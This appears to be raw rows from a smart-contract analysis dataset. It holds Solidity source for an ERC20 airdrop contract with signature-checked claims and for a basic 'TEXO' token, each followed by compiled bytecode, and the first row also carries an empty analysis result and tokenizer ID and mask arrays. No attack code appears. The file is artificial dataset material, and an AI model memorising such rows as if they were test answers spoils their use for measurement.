"SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol pragma solidity >=0.6.0 <0.8.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } pragma solidity ^0.6.12; contract bBetaAirdrop is Ownable { using SafeERC20 for IERC20; using SafeMath for uint256; address public token; address public signer; uint256 public totalClaimed; mapping(address => bool) public isClaimed; event Claimed(address account, uint256 amount); constructor(address _signer) public { signer = _signer; } function setToken(address _token) public onlyOwner { token = _token; } function setSigner(address _signer) public onlyOwner { signer = _signer; } function claim( address account, uint256 amount, uint8 v, bytes32 r, bytes32 s ) external { // require(msg.sender == account, "bBetaAirdrop: wrong sender"); require(!isClaimed[account], "bBetaAirdrop: Already claimed"); require(verifyProof(account, amount, v, r, s), "bBetaAirdrop: Invalid signer"); totalClaimed = totalClaimed + amount; isClaimed[account] = true; IERC20(token).safeTransfer(account, amount); emit Claimed(account, amount); } function verifyProof( address account, uint256 amount, uint8 v, bytes32 r, bytes32 s ) public view returns (bool) { bytes32 digest = keccak256(abi.encodePacked(account, amount)); address signatory = ecrecover(digest, v, r, s); return signatory == signer; } function withdraw(address _token) external onlyOwner { if (_token == address(0)) { payable(owner()).transfer(address(this).balance); } else { uint256 balance = IERC20(_token).balanceOf(address(this)); IERC20(_token).safeTransfer(owner(), balance); } } }
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c80638da5cb5b116100715780638da5cb5b1461021d578063d54ad2a114610251578063e5daa4fa1461026f578063e7d1ebf4146102f4578063f2fde38b14610363578063fc0c546a146103a7576100b4565b8063144fa6d7146100b9578063238ac933146100fd57806351cff8d9146101315780636c19e78314610175578063715018a6146101b95780638cc08025146101c3575b600080fd5b6100fb600480360360208110156100cf57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506103db565b005b6101056104ce565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6101736004803603602081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506104f4565b005b6101b76004803603602081101561018b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610708565b005b6101c16107fb565b005b610205600480360360208110156101d957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610968565b60405180821515815260200191505060405180910390f35b610225610988565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102596109b1565b6040518082815260200191505060405180910390f35b6102dc600480360360a081101561028557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803560ff16906020019092919080359060200190929190803590602001909291905050506109b7565b60405180821515815260200191505060405180910390f35b610361600480360360a081101561030a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803560ff1690602001909291908035906020019092919080359060200190929190505050610aca565b005b6103a56004803603602081101561037957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d15565b005b6103af610f07565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103e3610f2d565b73ffffffffffffffffffffffffffffffffffffffff16610401610988565b73ffffffffffffffffffffffffffffffffffffffff161461048a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6104fc610f2d565b73ffffffffffffffffffffffffffffffffffffffff1661051a610988565b73ffffffffffffffffffffffffffffffffffffffff16146105a3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561062b576105e0610988565b73ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610625573d6000803e3d6000fd5b50610705565b60008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561069457600080fd5b505afa1580156106a8573d6000803e3d6000fd5b505050506040513d60208110156106be57600080fd5b810190808051906020019092919050505090506107036106dc610988565b828473ffffffffffffffffffffffffffffffffffffffff16610f359092919063ffffffff16565b505b50565b610710610f2d565b73ffffffffffffffffffffffffffffffffffffffff1661072e610988565b73ffffffffffffffffffffffffffffffffffffffff16146107b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b610803610f2d565b73ffffffffffffffffffffffffffffffffffffffff16610821610988565b73ffffffffffffffffffffffffffffffffffffffff16146108aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60046020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60035481565b6000808686604051602001808373ffffffffffffffffffffffffffffffffffffffff1660601b815260140182815260200192505050604051602081830303815290604052805190602001209050600060018287878760405160008152602001604052604051808581526020018460ff1681526020018381526020018281526020019450505050506020604051602081039080840390855afa158015610a60573d6000803e3d6000fd5b505050602060405103519050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16149250505095945050505050565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610b8a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f624265746141697264726f703a20416c726561647920636c61696d656400000081525060200191505060405180910390fd5b610b9785858585856109b7565b610c09576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f624265746141697264726f703a20496e76616c6964207369676e65720000000081525060200191505060405180910390fd5b83600354016003819055506001600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610cb98585600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f359092919063ffffffff16565b7fd8138f8a3f377c5259ca548e70e4c2de94f129f5a11036a15b69513cba2b426a8585604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15050505050565b610d1d610f2d565b73ffffffffffffffffffffffffffffffffffffffff16610d3b610988565b73ffffffffffffffffffffffffffffffffffffffff1614610dc4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610e4a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806113676026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600033905090565b610fd28363a9059cbb60e01b8484604051602401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050610fd7565b505050565b6060611039826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c65648152508573ffffffffffffffffffffffffffffffffffffffff166110c69092919063ffffffff16565b90506000815111156110c15780806020019051602081101561105a57600080fd5b81019080805190602001909291905050506110c0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a8152602001806113b3602a913960400191505060405180910390fd5b5b505050565b60606110d584846000856110de565b90509392505050565b606082471015611139576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602681526020018061138d6026913960400191505060405180910390fd5b61114285611287565b6111b4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416464726573733a2063616c6c20746f206e6f6e2d636f6e747261637400000081525060200191505060405180910390fd5b600060608673ffffffffffffffffffffffffffffffffffffffff1685876040518082805190602001908083835b6020831061120457805182526020820191506020810190506020830392506111e1565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114611266576040519150601f19603f3d011682016040523d82523d6000602084013e61126b565b606091505b509150915061127b82828661129a565b92505050949350505050565b600080823b905060008111915050919050565b606083156112aa5782905061135f565b6000835111156112bd5782518084602001fd5b816040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611324578082015181840152602081019050611309565b50505050905090810190601f1680156113515780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b939250505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373416464726573733a20696e73756666696369656e742062616c616e636520666f722063616c6c5361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a2646970667358221220595646b11b8775c17b20dfb73598f16b0d87012e40a14b656028b1f8c1fd4abb64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 14141, 21084, 2546, 2581, 2683, 16068, 20842, 21084, 2620, 2620, 19841, 18827, 2549, 2278, 8889, 22025, 2629, 4215, 2683, 2549, 2278, 2581, 2546, 26187, 20958, 2094, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 5709, 1011, 2570, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 3904, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 29464, 11890, 11387, 1012, 14017, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1020, 1012, 1014, 1026, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 8278, 1997, 1996, 9413, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,478
0x96dda865d9fda4ee781126a671a085e1c4efd0f2
pragma solidity ^0.4.18; library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20Basic { function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Filler is ERC20 { using SafeMath for uint256; string public name = "TEXO"; string public symbol = "TXO"; uint256 public decimals = 18; uint256 public _totalSupply = 1000000000 * (10 ** decimals); address public beneficiary = 0x32f33d685a39867FBCF47b2fFaa7898fe31662c2; mapping (address => uint256) public funds; mapping(address => mapping(address => uint256)) allowed; function Filler() public { funds[beneficiary] = _totalSupply; } function totalSupply() public constant returns (uint256 totalsupply) { return _totalSupply; } function balanceOf(address _owner) public constant returns (uint256 balance) { return funds[_owner]; } function transfer(address _to, uint256 _value) public returns (bool success) { require(funds[msg.sender] >= _value && funds[_to].add(_value) >= funds[_to]); funds[msg.sender] = funds[msg.sender].sub(_value); funds[_to] = funds[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint _value) public returns (bool success) { require (allowed[_from][msg.sender] >= _value); require (_to != 0x0); require (funds[_from] >= _value); require (funds[_to].add(_value) > funds[_to]); funds[_from] = funds[_from].sub(_value); funds[_to] = funds[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; emit Approval (msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract Ownable is Filler { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract Creator is Ownable { }
0x6060604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100eb578063095ea7b31461017957806318160ddd146101d357806323b872dd146101fc578063313ce5671461027557806338af3eed1461029e5780633eaaf86b146102f3578063661884631461031c57806370a08231146103765780638da5cb5b146103c357806395d89b4114610418578063a9059cbb146104a6578063d73dd62314610500578063dd62ed3e1461055a578063e2ae93fb146105c6578063f2fde38b14610613575b600080fd5b34156100f657600080fd5b6100fe61064c565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013e578082015181840152602081019050610123565b50505050905090810190601f16801561016b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561018457600080fd5b6101b9600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506106ea565b604051808215151515815260200191505060405180910390f35b34156101de57600080fd5b6101e66107dc565b6040518082815260200191505060405180910390f35b341561020757600080fd5b61025b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506107e6565b604051808215151515815260200191505060405180910390f35b341561028057600080fd5b610288610c2e565b6040518082815260200191505060405180910390f35b34156102a957600080fd5b6102b1610c34565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156102fe57600080fd5b610306610c5a565b6040518082815260200191505060405180910390f35b341561032757600080fd5b61035c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610c60565b604051808215151515815260200191505060405180910390f35b341561038157600080fd5b6103ad600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ef1565b6040518082815260200191505060405180910390f35b34156103ce57600080fd5b6103d6610f3a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561042357600080fd5b61042b610f60565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561046b578082015181840152602081019050610450565b50505050905090810190601f1680156104985780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156104b157600080fd5b6104e6600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ffe565b604051808215151515815260200191505060405180910390f35b341561050b57600080fd5b610540600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611283565b604051808215151515815260200191505060405180910390f35b341561056557600080fd5b6105b0600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061147f565b6040518082815260200191505060405180910390f35b34156105d157600080fd5b6105fd600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611506565b6040518082815260200191505060405180910390f35b341561061e57600080fd5b61064a600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061151e565b005b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106e25780601f106106b7576101008083540402835291602001916106e2565b820191906000526020600020905b8154815290600101906020018083116106c557829003601f168201915b505050505081565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60006003549050